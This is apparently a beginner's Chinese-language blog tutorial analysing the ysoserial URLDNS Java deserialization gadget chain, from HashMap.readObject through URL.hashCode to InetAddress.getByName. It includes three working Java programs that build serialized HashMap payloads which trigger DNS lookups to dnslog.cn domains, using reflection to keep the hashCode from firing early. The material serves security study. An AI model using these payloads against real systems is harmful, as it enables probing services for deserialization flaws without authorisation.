Java反序列化漏洞学习1--URLDNS

上一篇文章我们可以了解到,我们想利用反序列化漏洞的话,必须找到一个类重写了readObject方法,然后反序列化的时候会将我们重写的readObject实例化,从而导致执行命令。

1.ysoserial的URLDNS

直接查看一下这款工具构造的payload是啥样的,工具自行下载,可以去github下载下来之后自己使用maven打包,或者有直接打包好的jar包,然后将它导入到idea中来

找到idea中的Project Structure,windows和mac位置不知道一样不一样,

然后按照如下,就能添加进来了

然后在对应的payload中找到URLDNS

 发现利用很简单,五行代码就可以,第一个是写了一个子类继承URLStreamHandler,其中SilentURLStreamHandler的定义在下面那,让两个函数返回null,然后就是新建了一个HashMap,再新建一个URL,将URL和一个字符串的url放到HashMap中,最后是使用Reflections给hashCode这个变量赋值,即反射赋值,学习反射的时候这个忘记学习Field了,这个也很有用,在这篇文章学习一下。

使用上面几行代码就可以实现dnslog请求了,那我们需要找到哪个类有readObject方法,跟进寻找一下即可,发现是HashMap这个类,大致看一下内容即可,我们只需要寻找利用点即可,最后发现 putVal(hash(key), key, value, false, false)这个函数,继续跟进

   private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField fields = s.readFields();
        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new InvalidObjectException("Illegal load factor: " + lf);
        lf = Math.min(Math.max(0.25f, lf), 4.0f);
        HashMap.UnsafeHolder.putLoadFactor(this, lf);
        reinitialize();
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0) {
            throw new InvalidObjectException("Illegal mappings count: " + mappings);
        } else if (mappings == 0) {
        } else if (mappings > 0) {
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

继续跟进,可以看到这个,应该就是正常的往map中放值,然后看hash()函数

 跟进发现是调用key的hashCode方法,根据payload中我们可以看到,我们传入的是一个URL类的参数,那么这里应该会调用URL的hashCode方法,于是我们去URL类看一下

 找到hashCode方法,发现其中会对hashCode值进行判断,如果不是-1则返回hashCode的值,否则会继续调用handler的hashCode,那么继续跟进hashCode方法

进入hashCode方法, 发现有一个getHostAddress()方法,继续跟进调用,最后来到 

发现最终其实调用了InetAddress.getByname() ,那么这个方法是干嘛用的呢?

查阅资料发现,这个就是给一个域名,返回一个ip,就是域名解析,所以就能执行dns请求,我们可以在dnslog上申请一个域名测试一下。(代码参考:Java InetAddress getByName() Method with Examples - Javatpoint


从上面我们可以知道:在HashMap中有readObject方法,在URL类中我们可以触发DNS请求,于是将两者结合起来就可以构成payload。

但是!在我自己编写payload的时候,我发现直接使用map.put(url,"http://rv1lxp.dnslog.cn")的时候还会触发dns请求,那这样就不太好,使用的时候就会不知道是自己触发的还是目标触发的,那么我们需要找到一种方法使得我们在编写payload的时候不触发dns请求,这种可以实现,没错,就是从hashCode函数出发。

我们先回到URL.hashCode方法,

 在上面我们可以找到hashCode变量的定义

 由上面的分析我们可以知道,当map使用put方法的时候会调用putval(),其中还会使用hash(),在这种方法的时候会使得我们传入的key调用hashCode()方法,从而出发dns请求。

到这我们就会有想法了:

  1. 可以在使用map.put()之前,我们将URL类中的hashCode的值修改为不等于-1,然后在使用map.put()之后将hashCode的值修改为为-1
  2. 不使用map.put方法,直接使用putval()方法将url放入map中

首先是第一种方法

反射获取到URL类,然后获取到变量hashCode,因为它是private,我们需要setAccessible修改一下作用域,然后修改其值为不为-1,然后执行map.put方法,然后再修改值为-1即可

需要学习的东西是如何获取到变量,之前的学习只学习到了获取类方法等,获取变量可以使用Field类来实现,其中方法与Method一样,getDeclaredFields和getFields的不同就是:

getFields(): 获取某个类的所有的public字段,其中是包括父类的public字段的

getDeclaredFields():获取某个类的自身的所有字段,不包括父类的字段

那么实现代码,测试的时候先把反序列化部分注释一下

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class DNStest {
    public static void main(String[] args) throws Exception {

        HashMap<URL, Integer> map = new HashMap<>();
        URL url = new URL("http://rv1lxp.dnslog.cn");
        Class name = Class.forName("java.net.URL");
        Field field = name.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,0);
        map.put(url,1);
        field.set(url,-1);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
        oos.writeObject(map);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
        ois.readObject();
    }
}

然后是第二种的实现方法

为啥会使用putVal这个方法呢?

我们在map.put()时跟进put方法,发现会来到

其实putVal就是put的实现

那么这种办法就简单了,通过反射获取到putVal方法,然后将值放到map中,当HashMap执行反序列化的时候就会将传入的URL类给实例化,从而实现dns请求。

那么实现就很简单了

import java.io.*;
import java.lang.reflect.Method;
import java.net.URL;
import java.util.HashMap;

public class URLDNS2 {
    public static void main(String[] args) throws Exception {

        HashMap<URL, Integer> map = new HashMap<>();
        URL url = new URL("http://4lekpx.dnslog.cn");
        Class name = Class.forName("java.util.HashMap");
        Method method = name.getDeclaredMethod("putVal", int.class, Object.class, Object.class, boolean.class, boolean.class);
        System.out.println(method);
        method.setAccessible(true);
        method.invoke(map,-1,url,0,false,true);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
        oos.writeObject(map);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
        ois.readObject();
    }
}

然后我们再来看ysoserial的实现就可能好理解点了

构造一个和它差不多的payload,我们可以调试一下,过程就不展示了,很简单过程

import ysoserial.payloads.util.Reflections;
import java.io.*;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class DNSTest {
    static class SilentURLStreamHandler extends URLStreamHandler {
        SilentURLStreamHandler() {
        }

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
    public static void main(String[] args) throws Exception {
        URLStreamHandler handler = new SilentURLStreamHandler();
        HashMap<URL, Integer> map = new HashMap<>();
        URL url = new URL(null, "http://4lekpx.dnslog.cn", handler);
        map.put(url, 0);
        Reflections.setFieldValue(url, "hashCode", -1);

    }
}

具体过程就是,我们重写了getHostAddress方法,在上面的分析中我们可以知道这个就是触发dns请求的地方,因为使用的是新建的子类,所以优先使用子类的重写方法

(参考:java 重写方法 调用优先级_多态中,方法的调用优先级_凉快一点点的博客-CSDN博客

然后是新建的url对象

使得URL类中的方法执行 SilentURLStreamHandler定义的函数的意思。

最后通过反射重新赋值,看这名字就是给url这个对象中的hashCode变量值赋值为-1,然后就可以利用了。


参考su18师傅(Java 反序列化漏洞(一) - 前置知识 & URLDNS | 素十八

作为一个新手接触java安全,由于基本知识掌握的不是很好,所以有的地方若是描述或者理解有错误,希望大佬们指出来,十分感谢!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值